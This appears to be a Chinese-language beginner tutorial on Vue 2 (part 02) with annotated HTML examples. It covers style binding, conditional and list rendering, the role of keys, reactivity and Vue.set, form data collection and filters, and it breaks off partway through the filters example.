前端vue入门(纯代码)02

10.绑定样式
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
		绑定样式:
			1. class样式
			写法:class="xxx" xxx可以是字符串、对象、数组。
				字符串写法适用于:类名不确定,要动态获取。
				对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
				数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
			2. style样式
				:style="{fontSize: xxx}"其中xxx是动态值。
				:style="[a,b]"其中a、b是样式对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>

			<!-- 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
			<!-- 绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'刺客伍六七',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						// backgroundColor:'gray',
						backgroundColor:'rgb(255,225,155)',
                        // border-radius: 20px; 这种写法不对,
                        // borderradius:'15px', 写法不对,得用驼峰命名原则 
                        // borderRadius: '20px', // 对的,圆角
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['happy','sad','normal']
          // 随机从数组中挑选一个样式0,1,2
          // Math.floor  向下取整
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},
		})
	</script>	
</html>
11.条件渲染
  • v-if在首次渲染的时候,

    如果条件为假,什么也不操作,页面当作没有这些元素。

    当条件为真的时候,开始局部编译,动态的向DOM元素里面添加元素。

    当条件从真变为假的时候,开始局部编译,卸载这些元素,也就是删除。

  • v-show 不管条件是真还是假,第一次渲染的时候都会编译出来,也就是标签都会添加到DOM中。之后切换的时候,通过display: none;样式来显示隐藏元素。可以说只是改变css的样式,几乎不会影响什么性能。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
	条件渲染:
		1.v-if
			写法:
				(1).v-if="表达式" 
				(2).v-else-if="表达式"
				(3).v-else="表达式"
          适用于:切换频率较低的场景。
          特点:不展示的DOM元素直接被移除。
          注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

    2.v-show
          写法:v-show="表达式"
          适用于:切换频率较高的场景。
          特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
      
    3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
			<div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div>

			<!-- v-if与template的配合使用 
      template不会破坏结构-->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>尚硅谷</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'haha',
				n:0
			}
		})
	</script>
</html>
12.列表渲染

12.1 基本列表

  • 我们可以用 v-for 指令基于一个数组来渲染一个列表。v-for 指令需要使用 p in peoplep of people 形式的特殊语法,其中 people 是源数据数组,而 p 则是被迭代的数组元素的别名
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
  v-for指令:
      1.用于展示列表数据
      2.语法:v-for="(item, index) in xxx" :key="yyy"
      3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表(遍历数组)</h2>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					姓名:{{p.name}}  年龄:{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息(遍历对象)</h2>
			<ul>
        <h4>遍历对象时:(value[属性值],k[属性名]) in car</h4>
				<li v-for="(value,k) in car" :key="k">
          属性名:{{k}}---属性值:{{value}}
          <!-- name-奥迪A8 -->
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串(用得少)</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}} 
          <!-- h-0 -->
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数(用得少)</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
          <!-- 0-1 索引从0开始,遍历从1开始-->
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
</html>

12.2 key的原理

vue中key的原理

  1. 虚拟DOM中key的作用:
       key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
       随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下。
  2. 对比规则:
      (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
            ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
            ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
      (2).旧虚拟DOM中未找到与新虚拟DOM相同的key:
​            创建新的真实DOM,随后渲染到到页面。                   
  3. 用index作为key可能会引发的问题:
       1.若对数据进行:逆序添加、逆序删除等破坏顺序操作时:
        会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低【因为key值不同了,所以,新旧相同的key中的虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM】。
            
       2.如果结构中还包含输入类的DOM:
      会产生错误DOM更新 ==> 界面有问题。
  
  4.开发中如何选择key?
      1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
      2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
  • unshift() 方法可向数组的开头添加一个或更多元素,并返回新的长度。
<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>key的原理</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表(遍历数组)</h2>
    <!-- 此时按钮只能点击一次 -->
    <button @click.once="add">添加两个人</button>
    <ul>
      <!-- <li v-for="(p,index) of persons" :key="index"> 
          错位-,虚拟DOM检测不到输入框里的东西,新的虚拟DOM与旧的虚拟DOM对比,
          一样的话,新真实DOM就直接把旧的真实DOM拿过来,展示在页面上 -->
      <li v-for="(p,index) of persons" :key="p.id">
        {{p.name}}-{{p.age}}
        <input type="text">
      </li>
    </ul>
  </div>

  <script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        persons: [
          { id: '001', name: '张三', age: 18 },
          { id: '002', name: '李四', age: 19 },
          { id: '003', name: '王五', age: 20 }
        ]
      },
      methods: {
        add ()
        {
          const p1 = {id:'004',name:'老刘',age:40}
          const p2 = {id:'005',name:'老哈',age:26}
          // unshift(p1,p2,p3,...,pn) 方法可向数组的开头添加一个或更多元素,并返回新的长度。
          this.persons.unshift(p1, p2)

        }
      },
    })
  </script>

</html>

12.3 列表过滤

  • vsCode 中手动折叠代码
    // #region
       需要折叠的代码
    // #endregion
    
  • filter()方法的使用:返回数组,包含了符合条件的所有元素。如果没有符合条件的元素则返回空数组。

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>列表过滤</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <h2>人员列表</h2>
    <!-- v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。 -->
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <ul>
      <li v-for="(p,index) of filPersons" :key="index">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  //用watch实现
  // #region 
/*   new Vue({
    el:'#root',
    data:{
      keyWord:'',
      persons:[
        {id:'001',name:'马冬梅',age:19,sex:'女'},
        {id:'002',name:'周冬雨',age:20,sex:'女'},
        {id:'003',name:'周杰伦',age:21,sex:'男'},
        {id:'004',name:'温兆伦',age:22,sex:'男'}
      ],
      filPersons:[]
    },
    // 侦听keyWord属性,
    watch:{
      keyWord:{
        // 没有immediate的话:初始时,keyWord值没有变化,没有侦听到属性变化,
        所以data里面的filPersons=[]为空,故页面上没有展示
        immediate:true,  //立即执行,
        //就算keyWord没有变化,也会执行一次,把keyWord当成空字符串去执行,
        //故persons里面的四个元素都筛选出来给data里面的filPersons了
        
        // handler什么时候调用?当keyWord属性发生改变时。
        // val: newValue input框 变化之后的值
        handler(val){
          // filter((p)
          // p:this.persons这个数组的每一项元素
          this.filPersons = this.persons.filter((p)=>{
            // p.name.indexOf(val) : p.name 中是否包含 val 
            // !== -1 不包含的话,等于-1;包含的话,返回索引下标
            return p.name.indexOf(val) !== -1
          })
        }
      }
    }
  }) */
  // #endregion

  //用computed实现
  // Ctrl+Alt+/ 多行注释快捷键
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 19, sex: '女' },
        { id: '002', name: '周冬雨', age: 20, sex: '女' },
        { id: '003', name: '周杰伦', age: 21, sex: '男' },
        { id: '004', name: '温兆伦', age: 22, sex: '男' }
      ]
    },
    computed: {
      filPersons ()
      {
        // p:this.persons这个数组的每一项元素
        return this.persons.filter((p) =>
        {
          return p.name.indexOf(this.keyWord) !== -1
        })
      }
    }
  }) 
</script>

</html>

12.4 列表排序

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>列表排序</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul>
      <li v-for="(p,index) of filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
        <input type="text">
      </li>
    </ul>
  </div>

  <script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        sortType: 0, //0原顺序 1降序 2升序
        persons: [
          { id: '001', name: '马冬梅', age: 30, sex: '女' },
          { id: '002', name: '周冬雨', age: 31, sex: '女' },
          { id: '003', name: '周杰伦', age: 18, sex: '男' },
          { id: '004', name: '温兆伦', age: 19, sex: '男' }
        ]
      },
      computed: {
        filPersons ()
        {
          // 1.先筛选
          const arr = this.persons.filter((p) =>
          {
            return p.name.indexOf(this.keyWord) !== -1
          })
          // 2.筛选后再排序
          // 判断一下是否需要排序  this.sortType !== 0 才执行 【0:false  其他非零数:true】
          if (this.sortType) {
            // a排在b后,就return一个大于0的数
            // a排在b前,就return一个小于0的数
            // arr.sort(),将原变量,arr数组重新排序
            arr.sort((p1, p2) =>
            {
              // (a,b)------本质:大于0,往后放;小于零,往前放。
              // 返回 b-a < 0  a排在b前 b<a  b(小数)排在 a(大数)之后 ,降序
              // 返回 b-a > 0  a排在b后 a<b  a(小数)排在 b(大数)之后 ,降序
              // 返回 a-b < 0  a排在b前 b>a  a(小数)排在 b(大数)之前 ,升序
              // 返回 a-b > 0  a排在b后 a>b  b(小数)排在 a(大数)之前 ,升序
              return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
            })
          }
          // 返回值 排序过后的数组
          return arr
        }
      }
    })

  </script>

</html>

12.5 更新时的一个问题

  • 在Vue.js中,监测数据的原理是使用了JavaScript中的getter和setter方法,即当数据发生变化时会自动触发相应的getter或setter方法。Vue.js通过劫持数据的setter方法,当数据发生变化时,会自动更新视图,并且通过getter方法来监听数据的变化。这种方式被称为响应式编程。

  • 当Vue.js的数据对象被创建时,Vue.js会遍历该对象的每一个属性,为每一个属性设置getter和setter方法,这样在数据发生变化时,Vue.js就能够自动检测到变化并触发相应的更新。这种方式不需要手动编写数据监听的代码,能够大大提高开发效率和代码可维护性。

  • 在组件中,Vue.js会使用虚拟DOM技术来比较新旧两个虚拟DOM节点,只对发生改变的节点进行更新,从而提高更新效率。

  • 响应式:数据变了,页面也跟着变了

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>更新时的一个问题</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <h2>人员列表</h2>
    <button @click="updateMei">更新人员信息</button>
    <ul>
      <!-- 单向数据绑定 v-bind: 的简写  : -->
      <li v-for="(p,index) of persons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false

  const vm = new Vue({
    el: '#root',
    data: {
      persons: [
        { id: '001', name: '马冬梅', age: 30, sex: '女' },
        { id: '002', name: '周冬雨', age: 31, sex: '女' },
        { id: '003', name: '周杰伦', age: 18, sex: '男' },
        { id: '004', name: '温兆伦', age: 19, sex: '男' }
      ]
    },
    methods: {
      updateMei ()
      {
        // this.persons[0].name = '马老师' //奏效
        // this.persons[0].age = 50 //奏效
        // this.persons[0].sex = '男' //奏效  

        // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
        /* 数据实际上发生了改变,但是vue没有检测到,界面没有改变,vue里的data也没有改变,但是控制台里查看数据时,已经改变了
        为什么不奏效,因为前面一个个修改的是对象里面的属性,是有数据代理的,为每一个属性设置getter和setter方法,
        这样在数据发生变化时,Vue.js就能够自动检测到变化并触发相应的更新
        而数组里面的每一个整体元素是没有数据代理的,故Vue监测不到,不会在页面上反应出来 */

        // splice(index,删除的数量,要替换的新值)
        // this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' })
        const p1 = { id: '001', name: '马老师', age: 35, sex: '男' }
        const p2 = { id: '002', name: '小团团', age: 29, sex: '女' }
        this.persons.splice(0, 2, p1, p2)
      }
    }
  })

</script>

</html>

12.6 Vue监测数据改变的原理

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'wuliuqi',
				address:'小鸡岛',
				student:{
					name:'鸡大宝',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'小飞',age:35}
					]
				}
			}
		})
	</script>
</html>

12.7 模拟一个数据监测

  • Object.keys(obj)

    参数:要返回其枚举自身属性的对象
    返回值:一个表示给定对象的所有可枚举属性的字符串数组
    
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>
		<script type="text/javascript" >
			let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个监视的实例对象,用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

      // 构造函数 
      // Observer 能收到一个对象作为参数
			function Observer(obj){
				//汇总对象中所有的属性形成一个数组,keys是一个数组 :['name', 'address']
				const keys = Object.keys(obj)
        console.log(keys);
				//遍历数组,并配置obs对象里面两个属性'name', 'address'的getter,setter
				keys.forEach((k)=>{
          // this 指的是 Observer(data)实例对象 obs
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
            // val:新的obj[k]值
						set(val){
							console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
		</script>
	</body>
</html>
  • 该方法存在一个问题:深层次的属性无法监测到

12.8 Vue.set的使用

  • v-if

  • <h2 v-if="student.sex">性别:{{student.sex}}</h2>
    <h2 v-if="undefined">haha</h2>  
     <!-- vm.student.sex 该属性 undefined 
          v-if="undefined" 不显示模板 
          这两个模板都不在页面上显示    -->
    

    this.$set(this.student,'sex','男'):设置了该属性以及值,该判断才为真

为什么使用Vue.set()
  • 因为受现代JS的限制,***vue不能检测到对象属性的添加或删除。***由于vue会在初始化实例时对属性执行 getter/setter 转化过程,所以属性必须在data对象上存在才能让vue转换它,这样它才能是响应的。vue不允许在已经创建的实例上动态添加新的根级响应式属性,不过可以使用Vue.set()方法将响应式属性添加到嵌套的对象上。
Vue.set( target, propertyName/index, value )
  • 参数

    • {Object | Array} target:对象或数组所在的地方 ,注:但不能是Vue实例或Vue实例的根元素

    • {string | number} propertyName/index:需要添加的属性名【比如:“性别”】

    • {any} value:添加的属性值【比如:“男”】

  • 返回值:设置的值

  • 用法:向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 this.myObject.newProperty = 'hi')

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
      <!-- vm.student.sex 该属性 undefined 
        v-if="undefined" 不显示模板 -->
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2 v-if="undefined">haha</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					Vue.set(this.student,'sex','男')
          // this 指 vm
					// this.$set(this.student,'sex','男')
          // vm.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

12.9 Vue监测数据改变的原理_数组

  • 没有为数组服务的setter和getter,而有为对象服务的setter和getter。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<button @click="addHobby">添加一个爱好</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
          // 没有为数组服务的setter和getter
          // 而有为对象服务的setter和getter
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
        addHobby(){
          this.student.hobby.unshift("打豆豆")
        }
			}
		})
	</script>
</html>

12.10 总结数据监视

  • Vue监视数据的原理:

    ​ 1. vue会监视data中所有层次的数据。

    ​ 2. 如何监测对象中的数据

    通过setter实现监视,且要在new Vue时就传入要监测的数据

    ​ (1).对象中后追加的属性,Vue默认不做响应式处理

    ​ (2).如需给后添加的属性做响应式,请使用如下API:

    ​ Vue.set(target,propertyName/index,value) 或

    ​ vm.$set(target,propertyName/index,value)

    ​ 3. 如何监测数组中的数据

    通过包裹数组更新元素的方法实现,本质就是做了两件事

    ​ (1).调用原生对应的方法对数组进行更新

    ​ (2).重新解析模板,进而更新页面

    ​ 4.在Vue修改数组中的某个元素一定要用如下方法【才有响应式】

    ​ 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

    ​ 2.Vue.set() 或 vm.$set()

    ​ 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

13.收集表单数据
  • 补:<form></form>

    • name:表单名称
    • action:表单数据提交的地方(通常是一个后台文件名(.jsp/.py等)或网址)。如果是#,表示提交到当前文件下。
    • method:前端提交数据到后端的方法,主要有:get(传递的信息会在地址栏中显示)和post(传递的信息不会在地址栏中显示),默认的是get,推荐使用post。
  • <form @submit.prevent="demo">

  • .prevent 表示提交以后不刷新页面,prevent是preventDefault,阻止标签默认行为,有些标签有默认行为,例如a标签的跳转链接属性href等。submit点击默认行为是提交表单,这里并不需要它提交,只需要执行demo方法,故阻止为好。

  • v-model.trim:过滤输入框中首尾空白的空格【字符中间的空格不会过滤】

    给 v-model 添加修饰符 .trim 可以自动过滤用户输入的首尾空格。

  • v-model.number:数字类型

    使用修饰符.number可以将输入的数据转换为Number类型,否则虽然你输入的是数字,但它的类型其实是String。

  • type="password" :密码框,主要用于让用户输入不可见的数据

    —无法输入中文的特殊字符?

​ —答:实际可以输入中文的文本框,复制一段你想输入的中文即可。

  • type="radio"是单选按钮,这个一般是让用户选择的,注意name属性必须一致【表示该框为同一组】
  • type="number"只允许输入数字【bug:实际上+,-,小数点、e(表示指数)等都可以输入】
  • type="checkbox":复选框
  • select标签定义了一个下拉列表框,而每一个option标签就定义了下拉框中的一个选项
  • JSON.stringify 方法将某个对象转换成 JSON 字符串形式
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据:
					若:<input type="text"/>,则v-model收集的是value值【输入框的值】,用户输入的就是value值。
					若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
					若:<input type="checkbox"/>
							1.没有配置input的value属性,那么收集的就是checked(勾选【true】 or 未勾选【false】,是布尔值,即value==true or false)
							2.配置input的value属性:
									(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
									(2)v-model的初始值是数组,那么收集的的就是value组成的数组
					备注:v-model的三个修饰符:
									lazy:失去焦点再收集数据
									number:输入字符串转为有效的数字
									trim:输入首尾空格过滤
		-->
		<!-- 准备好一个容器-->
		<div id="root">
      <!-- .prevent 表示提交以后不刷新页面,prevent是preventDefault,阻止标签默认行为,有些标签有默认行为,例如a标签的跳转链接属性href等。submit点击默认行为是提交表单,这里并不需要它提交,只需要执行demo方法,故阻止【.prevent】为好。 -->
      <!-- name:表单名称 -->
			<form @submit.prevent="demo">
        <!-- v-model.trim:过滤输入框中首尾空白的空格 ,字符中间的空格不会过滤-->
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        <!-- password:密码框,主要用于让用户输入不可见的数据 -->
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
        <!-- type="number"只允许输入数字【bug:实际上+,-,小数点、e(表示指数)等都可以输入】-->
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别:
        <!-- radio是单选按钮,这个一般是让用户选择的,注意name属性必须一致 
        v-model:默认收集input框的value值--><input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
        <!-- select标签定义了一个下拉列表框,而每一个option标签就定义了下拉框中的一个选项 -->
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <!-- 不需要指定value值,只需要知道勾没勾选,勾选true,不勾userInfo.agree==false -->
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
          // 默认勾选女,为什么?【自己的理解】
          // 因为原本是根据勾选确定v-model收集单选的value值【比如:勾选了男,显示sex:'male'】,
          // 但是因为是双向数据绑定,我预设了value【sex:'female'】,v-model收集的是female,so html解析模板时根据收集的value自己勾选上了
					sex:'female',
          // 多选框,得用数组接受
					hobby:[],
          // 下拉单选框,不需要用数组,字符串即可
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
          // JSON.stringify(xxx)将某个对象转换成 JSON 字符串形式
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>
14.过滤器
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
    <!-- 本地引用 -->
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
    <!-- 在线引用,必须联网 https://www.bootcdn.cn/ -->
		<!-- <script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script> -->
	</head>
	<body>
		<!-- 
			过滤器:
				定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
				语法:
						1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
						2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注:
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是:{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是:{{getFmtTime()}}</h3>
			<!-- 过滤器实现   | :管道符-->
      <!-- time传给timeFormater函数,该函数的返回值,替代整个{{time | timeFormater}}插值语法 -->
			<h3>现在是:{{time | timeFormater}}</h3>
			<!-- 过滤器实现(传参) -->
      <!-- time,YYYY_MM_DD都传给timeFormater函数 ,两个参数-->
			<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
